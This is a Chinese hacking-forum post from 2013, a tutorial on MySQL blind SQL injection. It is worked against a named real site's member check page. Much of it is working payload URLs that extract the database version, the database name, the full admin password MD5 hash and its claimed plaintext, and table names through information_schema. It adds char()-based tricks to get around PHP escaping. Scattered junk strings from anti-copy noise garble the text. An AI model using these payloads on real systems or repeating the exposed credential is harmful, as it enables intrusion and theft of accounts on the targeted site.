找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2691|回复: 0
打印 上一主题 下一主题

MySQL盲注最全 实例讲解 详解

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-25 13:52:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。
; y1 _3 ~- ^/ ~0 d7 K阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲
& {* R% t" z& k% J& X2 B7 Q, C: w作者:YoCo Smart
2 Y/ p9 e% }8 f3 u4 I; H% \1 _( I7 R来自:习科信息技术 - http://BlackBap.Org
$ u4 i* N; _8 c6 a4 V! k我们先来看注入点,是一个B2B网站建站公司:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
  • 用户名已被注册
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
  • select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 10 \: N. k' \) j
* q) w& s6 j) f; _$ \2 F0 m
复制代码
9 s0 L7 Z( s9 K' a4 O错误提示已经很明了了。我们看一下注入页面的代码(有删改):
  • $js_user = trim($_GET["js_user"]);
  • if($js_user){
  • $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
  • if(!$num)
  • echo "<div class=tips3></div>";
  • else
  • echo "<div class=tips2>用户名已被注册</div>";
  • }
    ' |# j2 _! B$ \' s
/ M/ g$ {1 N1 p8 d2 Q
复制代码
2 N3 E6 [  p/ a* O$ d4 [以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合# p' R. |! P( H, F8 W
那么我们先从union的盲注来看吧。
& e+ ?5 w# }: @先看版本:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23
    : i1 X6 `* Z$ v

/ u: B% ]& \/ d% ~# |" x' }( `" }复制代码5 S' k  d' n' r3 u7 s- O, X
这个时候我们来看看原来的代码中的SQL语句是怎么执行的:
  • select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'" R% o6 X" u- ^1 c" }8 l1 ^( H' Y
( h$ T/ N1 I6 E
复制代码; |) ^" Q7 g+ s4 q
因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立
$ ]- p0 K0 U, I: a& u" H) X再来看database()的数据:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
  • database()长度6
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
  • l
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
  • li
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
  • lic
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
  • licl
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
  • licln
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
  • licclny6 ?1 I, k* w. g5 i- |+ h! u
3 ~5 p% i! T# I* Z- z) f& n  s
复制代码
0 S$ c" b0 \: O1 k" K' {3 Qlength()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。& B4 t; \1 b8 C& O" x) ?3 c& c
这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。3 Q  ]# E( N" W' f$ N, P5 C
再来看一点简单的判断句:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
  • select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'
    $ g0 D3 C" D$ R- C. E' @4 G
& o' @/ v/ v. B
复制代码
0 s6 U) W4 ?& h% B这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。" C3 h; I! B# Y2 e
这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句
. V* J5 s# H3 _+ R0 Y8 H* J那么这里就能得到:
  • 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
  • 长度是32,是md5加密,解密得到lcl2wly
    3 H- O7 }7 u2 W+ A- T

8 {* m- J3 l) d复制代码* B% H0 I" q+ D1 w* h2 y& G: R
这样,猜数据的方法你肯定是懂了5 C# X4 J# d- w0 \
" u0 l: ~5 k7 k+ s/ V

* r$ z/ P+ F! I  {/ H# f. c2 a) \/ Y+ `最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23
    & W' F- F9 q  e5 v
$ Z* o7 ^* @# V; i0 g! f2 V
复制代码+ @5 }; O# t2 M# s
实际运行的SQL语句就是:
  • select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'
    5 R1 r2 a9 l- |2 F* s! P
4 y, \% j5 g6 ^3 H& ~
复制代码2 H) n( q0 k; l' S6 {
上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。
. L) r1 r3 ~; a3 l* q关于limit x,y 的用法,可以参考MySQL手册' z2 s/ w* D  Q  [8 P5 n

9 ^3 f+ @, r7 J最后剩下的要说的就是ascii函数和hex函数了
- Z5 |/ M; d; ]3 @* c) U这两个函数的意义是避开php的GPC转义,例如:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
  • select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#/ ?! a  h8 t4 s% {

  ~1 I3 N8 R! \4 L1 ~$ g4 z复制代码. {9 T# C" X) {
substr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表